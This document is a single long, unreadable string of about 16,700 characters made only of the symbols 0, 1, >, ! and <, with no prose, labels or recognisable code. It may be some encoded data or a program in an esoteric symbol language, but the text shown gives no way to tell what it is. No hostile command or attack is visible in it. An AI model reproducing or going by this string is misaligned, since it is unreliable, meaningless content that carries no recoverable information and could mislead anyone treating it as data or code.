01>0>1!1>0>10110>1!1!1!<>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!10110>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!101101010111>01!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!<>1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!<>1!1>0>1>0>101101010111>01!1>0>1!1!1!1!1>0><>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1!10110>1!10110>1!10110>1!1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!1!1!1!10110>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!10110>10110>1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1!1!1!1>0>10110>1!1!10110>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!10110>1!10110>1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>10110>1!1!10110>1!1>0><>1>01010111>01>0>1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!10110>10110>10110>10110>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!10110>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>10110>10110>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>101101010111>010110>10110>1!1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>01010111>01!1!10110>1!1!1>0>1!1!1!1>0>1>0>10110>1!1!10110>1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0><>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>10110>1!1!1!1!1>0>1>0><>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>101101010111>01!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1!10110>1!10110>1!1>0>1>0>1!1!1!10110>10110>1!1!1>0>1>0>1!10110><>10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!10110>1!1!1>0>1>0>1!10110>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0><>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!10110>10110>1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!10110>1!1!1!1!1>0>10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>10110>10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1>01010111>01!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1!1>0><>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!<>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1>01010111>01!1!1>0>1!1!1!1!10110>10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1!1!1!1>0>10110>1!1>0>1>0>10110>1!1!1!1>0>1!10110>1!10110>1!1>0>1>0>1!10110>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!<>1!1!<>1!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>0>1!<>1>0>1!1!1!1!1>0>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1!<1010111>01!1!1!<>1>0>1!1!1!1!1>0><>10110>1!1!1>0>1>0>1!1!1>0>1>0><>1>0>1!1!<>1!1!<>1>0>1!1!1>0>1>0><>1!1!1!<>1>0>1!1!1!1!1>0><>10110>1!1!1>0>1>0>1!1>0>1!1>0><>1>0>1!1!1!1!1!10110>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!<>1>0>1!1!1>0>1!1>0>1!1>01010111>01!1!1!1!<>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!1!1!10110>1!<>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!<>1!1>0>1!1>0>1>0>1!1>0>1>0>1!<>1!1>0>1!1!1!10110><>1>0>1!1!1!1>0>1!10110><>1>0>1!1!1!1!1>0>10110>1!1!1!1!1>01010111>01>0>10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1!1!1!1>01010111>01>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!<>1>0>1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>01010111>10111>10111>01>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0>1!<>1!1!1>0><>1>0>1!1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>01010111>01!<>1!1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0>1!1!1!1!1!10110>1!101101010111>01>0>1!1!1>0>1>0><>1>0>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0><>1!1>0>1!1!<>1>0>1!1!1!1!1>0>1>0><1010111>01!1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1!1>0>1!<>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!<><>1>0>1!1!<>1!<>1!1!1!1!1!10110>10110>10110>1!<>1!<>10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!1!10110>1!1!<>1>0>1!1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1!1!1!1!10110>1!1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1>0>10110>1!1!10110>10110>10110>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!10110>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!<>1>01010111>01>01010111>10111>01>0>1!1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>10110>1!<>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>10110>10110>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>10110>10110>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!1!1!1!1!10110>10110>1!1>0>1>01010111>01!1>0>1>0>1!1!1!1>0>1!1>01010111>0<>1>0>1!1>01010111>01!1!1!1!1!1!10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1!1!<>1!1!<>1!1!1!1!1!1!10110>10110>10110>1!<>1!1!<>1>0>1!1!1!<>1>01010111>0<>1!1!1!1!1!10110>10110>10110>1!<>1!<>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1!1!1>0>1!<>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!<1010111>01!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!<>1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!<><>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0><>10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0><>1!1!1>01010111>01!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>10110>1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>101101010111>01>0>1!1>0>1!1!1!1>0>1>0>10110>1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>01010111>01!1>0>1!1>0>1!10110>1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!10110>10110>10110>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!101101010111>010110>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!101101010111>01!10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!101101010111>01>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>01010111>01>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0><>1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1!101101010111>01!1>0>1!1>0><>1>0>1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!10110>1!1!1!1>0>1!<>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0><>1>0>10110>1!1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>01010111>01!1>0>1!1!1!1>0><>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>101101010111>01!1>0>1!1!1>0>1!1>0><>1!1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>01010111>01!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!<>1>0>10110>1!1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>10110>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1>0>10110><>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>10110>1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0><>1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1!10110>10110>1!1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>10110>1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>101101010111>01!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>10110>1!1!101101010111>01>0>1!10110>10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>01010111>01!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>10110>10110>1!1>0>1>0>1!1!1!1!1!1!10110>1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0><>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1>0>10110>1!1>0>1!10110>1!1!1>0>1!1!1!1!1>0>1>0>1!10110><>1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0><>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>01010111>01!1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>01010111>01>0>1!1!1!1>0>1>0>1!1>0>1>01010111>01!1>0>1!1!1!1>0>1>01010111>01!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!10110>1!1!1!1!1>0>10110>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>10110>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!10110>1!1>0>1!1!1>0>1!1!<>1